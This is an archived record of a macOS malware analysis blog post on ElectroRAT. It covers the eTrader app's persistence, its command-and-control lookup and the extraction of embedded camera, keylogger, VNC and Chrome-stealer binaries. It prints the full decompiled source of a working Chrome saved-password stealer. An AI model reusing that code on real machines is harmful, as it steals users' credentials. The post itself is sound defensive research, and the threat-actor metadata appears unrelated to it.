{
	"id": "4f21c2d2-4c5e-454d-9163-17dab11fd8ff",
	"created_at": "2026-04-06T00:14:31.016703Z",
	"updated_at": "2026-04-10T03:30:33.668115Z",
	"deleted_at": null,
	"sha1_hash": "254418186cd3c43a3a4b934e643b390cd18069ba",
	"title": "Discharging ElectroRAT",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 4887135,
	"plain_text": "Discharging ElectroRAT\r\nArchived: 2026-04-05 23:22:20 UTC\r\nDischarging ElectroRAT\r\nAnalyzing the first (macOS) malware of 2021.\r\nby: Patrick Wardle / January 5, 2021\r\nOur research, tools, and writing, are supported by the \"Friends of Objective-See\" such as:\r\n📝 👾 Want to play along?\r\nI’ve added the samples (ElectroRAT) to our malware collection (password: infect3d)\r\n…please don’t infect yourself!\r\nBackground\r\nNot one week into 2021, and we’ve got the first new malware affecting macOS: ElectroRat !\r\nElectroRAT is a cross-platform RAT, uncovered by Intezer:\r\n\"we discovered a wide-ranging operation targeting cryptocurrency users, estimated to have initiated in\r\nJanuary 2020. This extensive operation is composed of a full-fledged marketing campaign, custom\r\ncryptocurrency-related applications and a new Remote Access Tool (RAT) written from scratch.\"\r\n[its main goal appears to] ...steal personal information from cryptocurrency users\r\n\" -Intezer\r\nIn terms of it’s infection vector, Intezer noted:\r\n\"These [malicous] applications were promoted in cryptocurrency and blockchain-related forums such\r\nas bitcointalk and SteemCoinPan. The promotional posts, published by fake users, tempted readers to\r\nbrowse the applications’ web pages, where they could download the application without knowing they\r\nwere actually installing malware.\" -Intezer\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 1 of 21\n\nAs the Intezer report predominantly focused on the Windows variant of the malware, let’s build upon their\r\nresearcher, diving deeper into the macOS variant ( OSX.ElectroRAT ).\r\nTriage\r\nThe Intezer shared an the hash of a disk image (.dmg) containing the macOS variant of ElectoRAT .\r\nWith a SHA-1 of 2795ca35847cecb543f713b773d87c089a6a38ba , we can grab this from VirusTotal …noting its\r\nname ( eTrader-0.1.0_mchos.dmg ) and the fact that detections aren’t that good (yet):\r\neTrader-0.1.0_mchos.dmg\r\nOnce we download the disk image ( eTrader-0.1.0_mchos.dmg ), we can mount it via the hdiutil command:\r\n% hdiutil attach ElectroRat/eTrader-0.1.0_mchos.dmg\r\nexpected CRC32 $6C68ADDC\r\n/dev/disk2 GUID_partition_scheme\r\n/dev/disk2s1 Apple_HFS /Volumes/eTrader 0.1.0\r\nIt mounts to /Volumes/eTrader 0.1.0 , and contains a single application, eTrader.app :\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 2 of 21\n\neTrader-0.1.0_mchos.dmg ...mounted\r\nVia WhatsYourSign , we can see this application is not notarized nor signed …meaning it won’t (easily) run on\r\nrecent versions of macOS:\r\neTrader.app ...unsigned\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 3 of 21\n\nOften triaging an application, I manually poke around via the terminal. However, a new (free!) app named\r\nApparency (from the developers of Suspicious Package), offers a way to statically explore applications via the UI:\r\neTrader.app, in Apparency\r\nOn the right-hand side of the Apparency window, we see various information about the application, such as the\r\nidentifier (app.com.trader ) and a (fake) copyright notice ( (c) 2020 John Doe ).\r\nLet’s take a peak at the applications Info.plist :\r\n$ defaults read /Volumes/eTrader\\ 0.1.0/eTrader.app/Contents/Info.plist\r\n{\r\n AsarIntegrity = \"{\\\\\"checksums\\\\\":{\\\\\"app.asar\\\\\":\\\\\"kpsG1Z5PL...6vpzzhTLQ==\\\\\"}}\";\r\n BuildMachineOSBuild = 17D102;\r\n CFBundleDisplayName = eTrader;\r\n CFBundleExecutable = eTrader;\r\n CFBundleIdentifier = \"app.com.trader\";\r\n ...\r\n DTSDKBuild = \"10.13\";\r\n DTSDKName = \"macosx10.13\";\r\n DTXcode = 0941;\r\n DTXcodeBuild = 9F2000;\r\n ...\r\n NSCameraUsageDescription = \"This app needs access to the camera\";\r\n NSHighResolutionCapable = 1;\r\n NSHumanReadableCopyright = \"Copyright \\\\U00a9 2020 John Doe\";\r\n NSMainNibFile = MainMenu;\r\n NSMicrophoneUsageDescription = \"This app needs access to the microphone\";\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 4 of 21\n\nNSPrincipalClass = AtomApplication;\r\n ...\r\n}\r\nThe presence of the AsarIntegrity key/value pair indicate its built via Electron.\r\nElecton is, “a framework for creating native applications with web technologies like JavaScript, HTML, and\r\nCSS.”\r\nTo learn more about Electon, head over to:\r\nElectronJS.org.\r\nOther key/value pairs of interest include NSCameraUsageDescription and NSMicrophoneUsageDescription\r\nwhich indicate the application may request permission to access camera and microphone.\r\nIf we examine the application bundle in Finder, we notice a non-standard folder, Contents/Utils which contains\r\na single file: mdworker :\r\nContents/Utils\r\nVia the file command, we can ascertain that mdworker a standard 64-bit Mach-O executable:\r\n$ file /Volumes/eTrader\\ 0.1.0/eTrader.app/Contents/Utils/mdworker\r\n/Volumes/eTrader 0.1.0/eTrader.app/Contents/Utils/mdworker: Mach-O 64-bit executable x86_64\r\n…as we’ll see, this appears to be core (malicious) component of OSX.ElectroRAT\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 5 of 21\n\nAnalysis\r\nLet’s pop into a virtual machine and run the malware ( eTrader.app ). But first, let’s install some free, open-source dynamic analysis tools, including:\r\nProcessMonitor\r\nOur user-mode (open-source) utility that monitors process creations and terminations, providing detailed\r\ninformation about such events.\r\nFileMonitor\r\nOur user-mode (open-source) utility monitors file events (such as creation, modifications, and deletions)\r\nproviding detailed information about such events.\r\nNetiquette\r\nOur (open-source) network monitor.\r\nWhen launched (in a VM), eTrader.app shows an innocuous looking sign-in window:\r\neTrader.app UI\r\n…but in the background, our passive dynamic analysis tools readily detect malicious behavior.\r\nFirst off (via the ProcessMonitor), we see that the application (who’s pid is 1350 ) executes the Utils/mdworker\r\nbinary (via bash ):\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 6 of 21\n\n# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_EXEC\",\r\n \"process\" : {\r\n ...\r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"/bin/sh\",\r\n \"-c\",\r\n \"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker\"\r\n ],\r\n \"ppid\" : 1350,\r\n \r\n \"architecture\" : \"Intel\",\r\n \"path\" : \"/bin/sh\",\r\n \r\n \"name\" : \"sh\",\r\n \"pid\" : 1355\r\n }\r\n}\r\nOnce off and running, our FileMonitor captures the Utils/mdworker copying itself to ~/.mdworker :\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"file\" : {\r\n \"destination\" : \"/Users/user/.mdworker\",\r\n \"process\" : {\r\n \r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"/bin/sh\",\r\n \"-c\",\r\n \"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker\"\r\n ],\r\n \"ppid\" : 1350,\r\n \r\n \"architecture\" : \"Intel\",\r\n \"path\" : \"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker\",\r\n \"name\" : \"mdworker\",\r\n \"pid\" : 1351\r\n }\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 7 of 21\n\n}\r\n}\r\nThe mdworker binary then creates a launch agent plist, ~/Library/LaunchAgents/mdworker.plist :\r\n# FileMonitor.app/Contents/MacOS/FileMonitor -pretty\r\n{\r\n \"event\" : \"ES_EVENT_TYPE_NOTIFY_CREATE\",\r\n \"file\" : {\r\n \"destination\" : \"/Users/user/Library/LaunchAgents/mdworker.plist\",\r\n \"process\" : {\r\n \r\n \"uid\" : 501,\r\n \"arguments\" : [\r\n \"/bin/sh\",\r\n \"-c\",\r\n \"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker\"\r\n ],\r\n \"ppid\" : 1350,\r\n \r\n \"architecture\" : \"Intel\",\r\n \"path\" : \"/Users/user/Desktop/eTrader.app/Contents/Utils/mdworker\",\r\n \"name\" : \"mdworker\",\r\n \"pid\" : 1351\r\n }\r\n }\r\n}\r\nAs expected, the launch agent plist ( mdworker.plist ) references the .mdworker binary:\r\n% cat ~/Library/LaunchAgents/mdworker.plist\r\n \r\n Label\r\n mdworker\r\n ProgramArguments\r\n \r\n /Users/user/.mdworker\r\n \r\n RunAtLoad\r\n \r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 8 of 21\n\nAlso, worth noting, as the RunAtLoad is set to true the OS will automatically (re)launch the malware each time\r\nthe user (re)logs in.\r\nNow that OSX.ElectroRAT has persisted, what does it do? In a Twitter thread, Avigayil (the security researcher at\r\nIntezer) notes that the malware, “queries a raw pastebin page to retrieve the C\u0026C IP address”:\r\nVia Wireshark, we can confirm the macOS variant of ElectroRAT performs these same actions. First querying\r\npastebin:\r\n…and then once the address of the command and control server ( 213.226.100.140 ) is retrieved, connects out\r\n(with some basic information about infected machine):\r\nOnce the malware has checked in with the command and control server, it acts upon any (remote) tasking:\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 9 of 21\n\nAvigayil also notes that:\r\n\"The attacker uses go-bindata to embed additional binaries within the malware\"\r\nIn a disassembler, we can search for strings ( _main.static_darwin* ) to uncover what may be (statically)\r\nembedded binaries, specific to the macOS (darwin) variant:\r\nStatically embedded binaries(?)\r\n…so, how to extract these embedded binaries? Well thanks to Avigayil, we know they are embedded via go-bindata . This in an open-source project (on Github), that:\r\n\"converts any file into manageable Go source code.\r\n...useful for embedding binary data into a Go program. The file data is optionally gzip compressed\r\n\" -go-bindata\r\nSo, we know the binaries are embedded and (likely) gzip compressed.\r\nHopping back to the disassembler, let’s first find the embedded (gzipped) binary data(s) (…we’ll use the\r\nembedded webcam capture binary, as an example).\r\nAs noted, the malware contains various functions named main.static_darwin* , that seem relevant to the\r\nembedded binary data. Looking at the main.static_darwinCam_macos function (at 0x0000000004395bf0 ) we\r\nfind a cross-reference to a variable named _main._static_darwinCam_maco (note the _ in the _static ) that’s\r\npassed as an argument to a function named main.bindataRead :\r\n1_main.static_darwinCam_macos:\r\n2 ...\r\n3 ; argument #3 for method _main.bindataRead\r\n4 0x0000000004395c2d mov rdx, qword [_main._static_darwinCam_macos]\r\n5 ...\r\n6 0x0000000004395c57 call main.bindataRead\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 10 of 21\n\nThe main._static_darwinCam_macos variable is located at 0x0000000004d3f190 …and contains a pointer\r\n0x0000000004800760 0x0000000004d3f190 dq 0x0000000004800760\r\nHeading over to 0x0000000004800760 (offset 0x800760 in the file) we find gzip’d data:\r\nEmbedded gzipped data\r\ngzip’d data begins with a two byte signature: 0x1F 0x8B. Following is a another byte, indicating the compression\r\nmethod. The most common value for this 3rd byte is 0x08 (DEFLATE).\r\nHooray, we’ve found the embedded compressed binary data for the (web)camera binary.\r\nTo extract out the embedded bytes, I put together a super simple python script that simply open the malware’s\r\nbinary, goes to the offset of the embedded data, and writes it said out to disk. As the /usr/bin/gzip utility (that\r\nwe’ll use to decompress the extracted data), ignores extra/trailer bytes, we don’t have to care about getting the\r\nlength of the compressed data write. As such, we take the lazy approach and just write out all the embedded data\r\nfrom the (start) offset in the malicious binary, to the end.\r\n 1import sys\r\n 2import gzip\r\n 3\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 11 of 21\n\n4f = open(sys.argv[1], 'rb')\r\n 5f.seek(int(sys.argv[2], 16), 0)\r\n 6\r\n 7o = open(\"extractedData.gz\", 'wb')\r\n 8o.write(f.read())\r\n 9\r\n10o.close()\r\n11f.close()\r\nExecuting the above script with the path to the malware ( mdworker ) and the offset (of the embedded cam binary\r\ndata, 0x800760 ) will extract and write out the compressed bytes to extractedData.gz . This file can then be\r\ndecompressed with the gzip utility:\r\n% python extract.py mdworker 800760\r\n% gzip -d extracted.gz\r\ngzip: extracted.gz: trailing garbage ignored\r\n% file extracted\r\nextracted: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [i3\r\nWoohoo, we’ve now got a Mach-O binary!\r\nWe repeat the process for each of the main.static_darwin* symbols. Which gets us several other Mach-O\r\nbinaries …and a “Apple Desktop Services Store” (DS_Store) file:\r\n% file *\r\ndarwinCam: Mach-O universal binary with 2 architectures:\r\n [x86_64:Mach-O executable x86_64] [i386:Mach-O executable i386]\r\ndarwinChrome: Mach-O 64-bit executable x86_64\r\ndarwinDs_store: Apple Desktop Services Store\r\ndarwinKeylogger: Mach-O 64-bit executable x86_64\r\ndarwinVnc: Mach-O 64-bit executable x86_64\r\nYou can find these extract files in the OSX.ElectroRAT sample I've uploaded to Objective-See's macOS malware\r\ncollection.\r\nLet’s briefly triage these (now extracted) binaries\r\ndarwinCam ( SHA1: 7e0a289572c2b3ef5482dded6019f51f35f85456 ):\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 12 of 21\n\nAppears to be a ImageSnap …a well-known (open-source) commandline utility for capturing images via\r\nthe infected device’s camera:\r\n./darwinCam -h\r\nUSAGE: ./darwinCam [options] [filename]\r\nVersion: 0.2.5\r\nCaptures an image from a video device and saves it in a file.\r\nIf no device is specified, the system default will be used.\r\nIf no filename is specfied, snapshot.jpg will be used.\r\nSupported image types: JPEG, TIFF, PNG, GIF, BMP\r\n -h This help message\r\n -v Verbose mode\r\n -l List available video devices\r\n -t x.xx Take a picture every x.xx seconds\r\n -q Quiet mode. Do not output any text\r\n -w x.xx Warmup. Delay snapshot x.xx seconds after turning on camera\r\n -d device Use named video device\r\ndarwinChrome ( SHA1: 4bb418ba9833cd416fd02990b8c8fd4fa8c11c0c ):\r\nVia embedded strings, we can determine that the darwinChrome was packaged up with PyInstaller . As\r\nsuch can use the pyinstxtractor utility, to extract (unpackage) its contents:\r\n$ python pyinstxtractor.py darwinChrome\r\n[+] Processing darwinChrome\r\n[+] Pyinstaller version: 2.1+\r\n[+] Python version: 27\r\n[+] Length of package: 5155779 bytes\r\n[+] Found 109 files in CArchive\r\n[+] Beginning extraction...please standby\r\n[+] Possible entry point: pyiboot01_bootstrap.pyc\r\n[+] Possible entry point: Apple.pyc\r\n[+] Found 335 files in PYZ archive\r\n[+] Successfully extracted pyinstaller archive: darwinChrome\r\nThis produces several files including a compiled Python file, Apple.pyc . Via an online decompiler we can\r\nthen recover Apple.pyc ’s Python source code:\r\n 1# uncompyle6 version 3.5.0\r\n 2# Python bytecode 2.7 (62211)\r\n 3# Decompiled from: Python 2.7.5 (default, Aug 7 2019, 00:51:29)\r\n 4# [GCC 4.8.5 20150623 (Red Hat 4.8.5-39)]\r\n 5# Embedded file name: Apple.py\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 13 of 21\n\n6\"\"\"\r\n 7Get unencrypted 'Saved Password' from Google Chrome\r\n 8\r\n 9Example:\r\n 10 \u003e\u003e\u003e import ChromePasswd\r\n 11 \u003e\u003e\u003e chrome_pwd = ChromePasswd()\r\n 12 \u003e\u003e\u003e print chrome_pwd.get_login_db\r\n 13 /Users/x899/Library/Application Support/Google/Chrome/Default/\r\n 14\r\n 15 \u003e\u003e\u003e chrome_pwd.get_pass(prettyprint=True)\r\n 16 {\r\n 17 \"data\": [\r\n 18 {\r\n 19 \"url\": \"https://x899.com/\",\r\n 20 \"username\": \"admin\",\r\n 21 \"password\": \"secretP@$$w0rD\"\r\n 22 },\r\n 23 {\r\n 24 \"url\": \"https://accounts.google.com/\",\r\n 25 \"username\": \"x899@gmail.com\",\r\n 26 \"password\": \"@n04h3RP@$$m0rC1\"\r\n 27 }\r\n 28 ]\r\n 29 }\r\n 30\r\n 31TO DO:\r\n 32 * Cookie support\r\n 33 * Update database Password directly\r\n 34\r\n 35\"\"\"\r\n 36import platform\r\n 37from getpass import getuser\r\n 38from shutil import copy\r\n 39import sqlite3\r\n 40from os import unlink\r\n 41import json\r\n 42from importlib import import_module\r\n 43import string, sys, subprocess, glob, os\r\n 44\r\n 45class ChromePasswd(object):\r\n 46 \"\"\" Main ChromePasswd Class \"\"\"\r\n 47\r\n 48 def __init__(self):\r\n 49 \"\"\" Constructor: determine target platform \"\"\"\r\n 50 self.target_os = platform.system()\r\n 51 if self.target_os == 'Darwin':\r\n 52 self.mac_init()\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 14 of 21\n\n53 elif self.target_os == 'Windows':\r\n 54 self.win_init()\r\n 55 elif self.target_os == 'Linux':\r\n 56 self.linux_init()\r\n 57\r\n 58 def import_libraries(self):\r\n 59 \"\"\" import libraries based on underlying platform \"\"\"\r\n 60 try:\r\n 61 if self.target_os == 'Darwin':\r\n 62 globals()['AES'] = import_module('Crypto.Cipher.AES')\r\n 63 globals()['KDF'] = import_module('Crypto.Protocol.KDF')\r\n 64 globals()['subprocess'] = import_module('subprocess')\r\n 65 elif self.target_os == 'Windows':\r\n 66 globals()['win32crypt'] = import_module('win32crypt')\r\n 67 elif self.target_os == 'Linux':\r\n 68 globals()['AES'] = import_module('Crypto.Cipher.AES')\r\n 69 globals()['KDF'] = import_module('Crypto.Protocol.KDF')\r\n 70 except ImportError as err:\r\n 71 print ('[-] Error: {}').format(str(err))\r\n 72 sys.exit()\r\n 73\r\n 74 def linux_init(self):\r\n 75 \"\"\" Linux Initialization Function \"\"\"\r\n 76 self.import_libraries()\r\n 77 my_pass = ('peanuts').encode('utf8')\r\n 78 iterations = 1\r\n 79 salt = 'saltysalt'\r\n 80 length = 16\r\n 81 self.key = KDF.PBKDF2(my_pass, salt, length, iterations)\r\n 82 self.dbpath = ('/home/{}/.config/google-chrome/Default/').format(getuser())\r\n 83 self.decrypt_func = self.nix_decrypt\r\n 84\r\n 85 def mac_init(self):\r\n 86 \"\"\" Mac Initialization Function \"\"\"\r\n 87 self.import_libraries()\r\n 88 my_pass = subprocess.Popen(\"security find-generic-password -wa 'Chrome'\", stdout=subprocess.PI\r\n 89 stdout, _ = my_pass.communicate()\r\n 90 my_pass = stdout.replace('\\n', '')\r\n 91 iterations = 1003\r\n 92 salt = 'saltysalt'\r\n 93 length = 16\r\n 94 self.key = KDF.PBKDF2(my_pass, salt, length, iterations)\r\n 95 loginData = glob.glob('%s/Library/Application Support/Google/Chrome/Profile*/' % os.path.expan\r\n 96 if len(loginData) == 0:\r\n 97 loginData = glob.glob('%s/Library/Application Support/Google/Chrome/Default/' % os.path.ex\r\n 98 self.dbpath = loginData[0]\r\n 99 self.decrypt_func = self.nix_decrypt\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 15 of 21\n\n100\r\n101 def nix_decrypt(self, enc_passwd):\r\n102 \"\"\"\r\n103 Linux and Mac's decryption function\r\n104\r\n105 :paran enc_passwd: encrypted password\r\n106 :return: decrypted password\r\n107 \"\"\"\r\n108 initialization_vector = ' '\r\n109 enc_passwd = enc_passwd[3:]\r\n110 cipher = AES.new(self.key, AES.MODE_CBC, IV=initialization_vector)\r\n111 decrypted = cipher.decrypt(enc_passwd)\r\n112 return decrypted.strip().decode('utf8')\r\n113\r\n114 def win_init(self):\r\n115 \"\"\" Windows Initialization Function \"\"\"\r\n116 self.import_libraries()\r\n117 self.dbpath = ('C:\\\\Users\\\\{}\\\\AppData\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Default\\\\').format(g\r\n118 self.decrypt_func = self.win_decrypt\r\n119\r\n120 def win_decrypt(self, enc_passwd):\r\n121 \"\"\"\r\n122 Window's decryption function\r\n123\r\n124 :paran enc_passwd: encrypted password\r\n125 :return: decrypted password\r\n126 \"\"\"\r\n127 data = win32crypt.CryptUnprotectData(enc_passwd, None, None, None, 0)\r\n128 return data[1]\r\n129\r\n130 @property\r\n131 def get_login_db(self):\r\n132 \"\"\" getting \"Login Data\" sqlite database path \"\"\"\r\n133 return self.dbpath\r\n134\r\n135 def get_pass(self, prettyprint=False):\r\n136 \"\"\"\r\n137 Getting URL, username and password in clear text\r\n138\r\n139 :param prettyprint: if it is True, output dictionary will be\r\n140 printed on the screen\r\n141 :return: clear text data in dictionary format\r\n142 \"\"\"\r\n143 copy(self.dbpath + 'Login Data', 'Login Data.db')\r\n144 conn = sqlite3.connect('Login Data.db')\r\n145 cursor = conn.cursor()\r\n146 cursor.execute('SELECT action_url, username_value, password_value\\n FRO\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 16 of 21\n\n147 data = {'data': []}\r\n148 for result in cursor.fetchall():\r\n149 _passwd = self.decrypt_func(result[2])\r\n150 passwd = ('').join(i for i in _passwd if i in string.printable)\r\n151 if result[1] or passwd:\r\n152 _data = {}\r\n153 _data['url'] = result[0]\r\n154 _data['username'] = result[1]\r\n155 _data['password'] = passwd\r\n156 data['data'].append(_data)\r\n157\r\n158 conn.close()\r\n159 unlink('Login Data.db')\r\n160 if prettyprint:\r\n161 print json.dumps(data, indent=4)\r\n162 return data\r\n163\r\n164\r\n165def main():\r\n166 \"\"\" Operational Script \"\"\"\r\n167 chrome_pwd = ChromePasswd()\r\n168 chrome_pwd.get_pass(prettyprint=True)\r\n169\r\n170\r\n171if __name__ == '__main__':\r\n172 main()\r\n…looks like a Chrome password stealer!\r\ndarwinKeylogger ( SHA1: 3bcbfc40371c8d96f94b5a5d7c83264d22b0f57b ):\r\nThis binary appears to be a basic macOS keylogger based on the open-source Swift-Keylogger project (that\r\n(ab)uses IOHIDManagerCreate / IOHIDManagerRegisterInputValueCallback ).\r\nNote that on recent versions of macOS, this requires explicit user approval:\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 17 of 21\n\nbuilt-in capabilities\r\ndarwinVnc ( SHA1: 872da05c137e69617e16992146ebc08da3a9f58f ):\r\nThis binary appears to the well known OSXvnc , a “robust, full-featured VNC server for MacOS X”:\r\n./darwinVnc -h\r\nAvailable options:\r\n-rfbport port TCP port for RFB protocol (0=autodetect first open port 5900-5909)\r\n-rfbwait time Maximum time in ms to wait for RFB client\r\n-rfbnoauth Run the server without password protection\r\n-rfbauth passwordFile Use this password file for VNC authentication\r\n (use 'storepasswd' to create a password file)\r\n-rfbpass Supply a password directly to the server\r\n...\r\nThe malware also supports a variety of built-in standard backdoor capabilities ...such command execution, file\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 18 of 21\n\nupload/download and more\r\nbuilt-in capabilities\r\nAvigayil sums this up well:\r\n\"ElectroRAT is extremely intrusive.\r\n...it has various capabilities such as keylogging, downloading files and executing commands on the\r\nvictim's console.\r\n\"\r\nDetection(s)\r\nGood news, though this malware is brand new, several of our free (open-source) macOS security tools readily can\r\ndetect and alert on it’s malicious behaviors.\r\nFor example, when OSX.ElectroRAT persists, BlockBlock can alert you of this fact:\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 19 of 21\n\nBlockBlock: unauthorized persistence\r\n…while our firewall, LuLu will block and alert on the malware’s unauthorized network connections:\r\nLuLu: unauthorized network connection\r\nIn terms of static IOCs, the presences of the following files may indicated an OSX.ElectroRAT infection:\r\n~/.mdworker\r\n~/Library/LaunchAgents/mdworker.plist\r\nConclusions\r\nLooks like 2021 will be another year filled with Mac malware!\r\nIn this blog post, we analyzed the new;y discovered ElectroRAT . Focusing on the macOS version, we detailed\r\nits:\r\nLaunch agent persistence\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 20 of 21\n\nExtracted and triaged its embedded binaries\r\n… and discussed its built-in capabilities.\r\n📚 The Art of Mac Malware\r\nIf this blog posts pique your interest, definitely check out my new book on the topic of Mac Malware Analysis:\r\n“The Art Of Mac Malware: Analysis”. It’s free online, and new content is regularly added!\r\n💕 Support Us:\r\nLove these blog posts? You can support them via my Patreon page!\r\nSource: https://objective-see.com/blog/blog_0x61.html\r\nhttps://objective-see.com/blog/blog_0x61.html\r\nPage 21 of 21",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://objective-see.com/blog/blog_0x61.html"
	],
	"report_names": [
		"blog_0x61.html"
	],
	"threat_actors": [
		{
			"id": "75108fc1-7f6a-450e-b024-10284f3f62bb",
			"created_at": "2024-11-01T02:00:52.756877Z",
			"updated_at": "2026-04-10T02:00:05.273746Z",
			"deleted_at": null,
			"main_name": "Play",
			"aliases": null,
			"source_name": "MITRE:Play",
			"tools": [
				"Nltest",
				"AdFind",
				"PsExec",
				"Wevtutil",
				"Cobalt Strike",
				"Playcrypt",
				"Mimikatz"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434471,
	"ts_updated_at": 1775791833,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/254418186cd3c43a3a4b934e643b390cd18069ba.pdf",
		"text": "https://archive.orkl.eu/254418186cd3c43a3a4b934e643b390cd18069ba.txt",
		"img": "https://archive.orkl.eu/254418186cd3c43a3a4b934e643b390cd18069ba.jpg"
	}
}